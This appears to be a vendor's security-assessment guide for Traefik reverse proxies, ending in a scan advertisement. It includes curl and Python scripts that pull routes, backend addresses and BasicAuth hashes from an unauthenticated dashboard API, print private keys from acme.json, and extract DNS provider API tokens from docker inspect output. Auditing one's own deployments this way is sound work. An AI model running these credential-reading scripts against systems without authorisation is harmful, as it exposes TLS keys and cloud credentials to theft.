Traefik is the dominant cloud-native reverse proxy for Docker and Kubernetes environments, used extensively in self-hosted deployments for automatic TLS and dynamic routing. Its security profile has three distinct layers: the dashboard and API, the provider integration, and the middleware configuration. Traefik's built-in dashboard on port 8080 has no authentication by default, providing a complete inventory of all configured routes, services, and middleware; the /api/rawdata endpoint returns the complete routing configuration including backend service addresses; Traefik stores ACME TLS certificates and private keys in acme.json; Docker provider routing is configured via container labels, meaning containers with Docker socket access can inject malicious routing rules; and BasicAuth middleware credentials are stored as bcrypt hashes in the dynamic configuration. This guide covers systematic Traefik security assessment.
# Traefik dashboard and API — unauthenticated by default on port 8080
TRAEFIK_URL="http://traefik.example.com:8080"
# Check if dashboard API is accessible without authentication
curl -s "${TRAEFIK_URL}/api/overview" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print('DASHBOARD API ACCESSIBLE WITHOUT AUTHENTICATION')
http = d.get('http',{})
print(f'HTTP routers: {http.get(\"routers\",{}).get(\"total\",0)}')
print(f'HTTP services: {http.get(\"services\",{}).get(\"total\",0)}')
print(f'HTTP middlewares: {http.get(\"middlewares\",{}).get(\"total\",0)}')
features = d.get('features',{})
print(f'ACME: {features.get(\"acme\")}')
print(f'Traefik version: {d.get(\"traefik\",{}).get(\"version\")}')
except: print('Dashboard not accessible or not JSON')
" 2>/dev/null
# List all HTTP routers — reveals all domain-to-service mappings
curl -s "${TRAEFIK_URL}/api/http/routers" 2>/dev/null | python3 -c "
import json,sys
routers = json.load(sys.stdin)
print(f'HTTP routers: {len(routers)}')
for r in routers:
print(f' {r.get(\"name\")}: rule={r.get(\"rule\")} service={r.get(\"service\")} tls={r.get(\"tls\") is not None}')
middlewares = r.get('middlewares',[])
if middlewares:
print(f' Middlewares: {middlewares}')
" 2>/dev/null
# Traefik API — full routing and service configuration
TRAEFIK_URL="http://traefik.example.com:8080"
# Get all HTTP services — reveals backend IP addresses and ports
curl -s "${TRAEFIK_URL}/api/http/services" 2>/dev/null | python3 -c "
import json,sys
services = json.load(sys.stdin)
print(f'HTTP services: {len(services)}')
for s in services:
lb = s.get('loadBalancer',{})
servers = lb.get('servers',[])
print(f' {s.get(\"name\")}:')
for srv in servers:
print(f' Backend: {srv.get(\"url\")} (internal address)')
" 2>/dev/null
# Get raw data — complete configuration dump including all secrets in middleware
curl -s "${TRAEFIK_URL}/api/rawdata" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Check for BasicAuth middleware entries — contain password hashes
middlewares = d.get('middlewares',{})
for mw_name, mw_data in middlewares.items():
if 'basicAuth' in mw_data.get('type','').lower() or 'basicAuth' in str(mw_data):
print(f'BasicAuth middleware: {mw_name}')
ba = mw_data.get('basicAuth',{})
for user in ba.get('users',[]):
print(f' Credential: {user}') # format: username:bcrypt_hash
" 2>/dev/null
# Get all middlewares and their configuration
curl -s "${TRAEFIK_URL}/api/http/middlewares" 2>/dev/null | python3 -c "
import json,sys
mws = json.load(sys.stdin)
print(f'HTTP middlewares: {len(mws)}')
for m in mws:
print(f' {m.get(\"name\")} type={m.get(\"type\")} provider={m.get(\"provider\")}')
" 2>/dev/null
# Traefik ACME certificate storage — private keys in acme.json
# acme.json contains all Let's Encrypt certificates and private keys
# Check acme.json filesystem access (from inside Traefik container or host)
cat /path/to/acme.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for resolver_name, resolver_data in d.items():
certs = resolver_data.get('Certificates',[])
print(f'Resolver {resolver_name}: {len(certs)} certificates')
for cert in certs:
domain = cert.get('domain',{})
main = domain.get('main','')
sans = domain.get('sans',[])
key = cert.get('key','') # Base64 encoded private key
print(f' {main} (SANs: {sans})')
if key:
print(f' Private key: {key[:40]}... (base64)')
" 2>/dev/null
# Traefik provider credentials — DNS challenge API keys for wildcard certs
# Environment variables passed to Traefik for DNS provider authentication
# These are visible in docker inspect or process listing
docker inspect traefik 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers:
sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
dns_providers = ['CF_API_TOKEN','CF_API_KEY','AWS_ACCESS_KEY','DO_AUTH_TOKEN',
'CLOUDFLARE_API_TOKEN','ROUTE53_AWS_ACCESS_KEY','DNSIMPLE_OAUTH_TOKEN']
for e in env:
key = e.split('=')[0]
if any(p in key.upper() for p in dns_providers):
print(f'DNS provider credential: {e}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated dashboard API access | GET http://traefik-host:8080/api/overview — returns complete routing overview without authentication; reveals all routes, services, middlewares, and Traefik version in a single request | High |
| Backend service IP enumeration | GET /api/http/services — returns all service definitions including internal IP addresses and ports of backend services; reveals the complete internal network topology of all proxied applications | High |
| BasicAuth credential hash exposure | GET /api/rawdata — complete configuration dump including BasicAuth middleware user entries in username:bcrypt_hash format; hashes subject to offline cracking with hashcat or john | High |
| ACME private key extraction from acme.json | Read acme.json from Traefik data volume — contains base64-encoded private keys for all Let's Encrypt certificates; compromises TLS for all managed domains | Critical |
| DNS provider credential exposure in environment | docker inspect traefik — DNS API credentials (Cloudflare, Route53, DigitalOcean) passed as environment variables for ACME DNS challenge are visible in plaintext | High |
Ironimo tests Traefik deployments for unauthenticated dashboard and API access, backend service IP enumeration via the services API, BasicAuth credential hash extraction from rawdata, ACME certificate private key access in acme.json, DNS provider credential exposure in container environment variables, Docker label injection risk assessment, and middleware configuration audit for authentication bypass.
Start free scan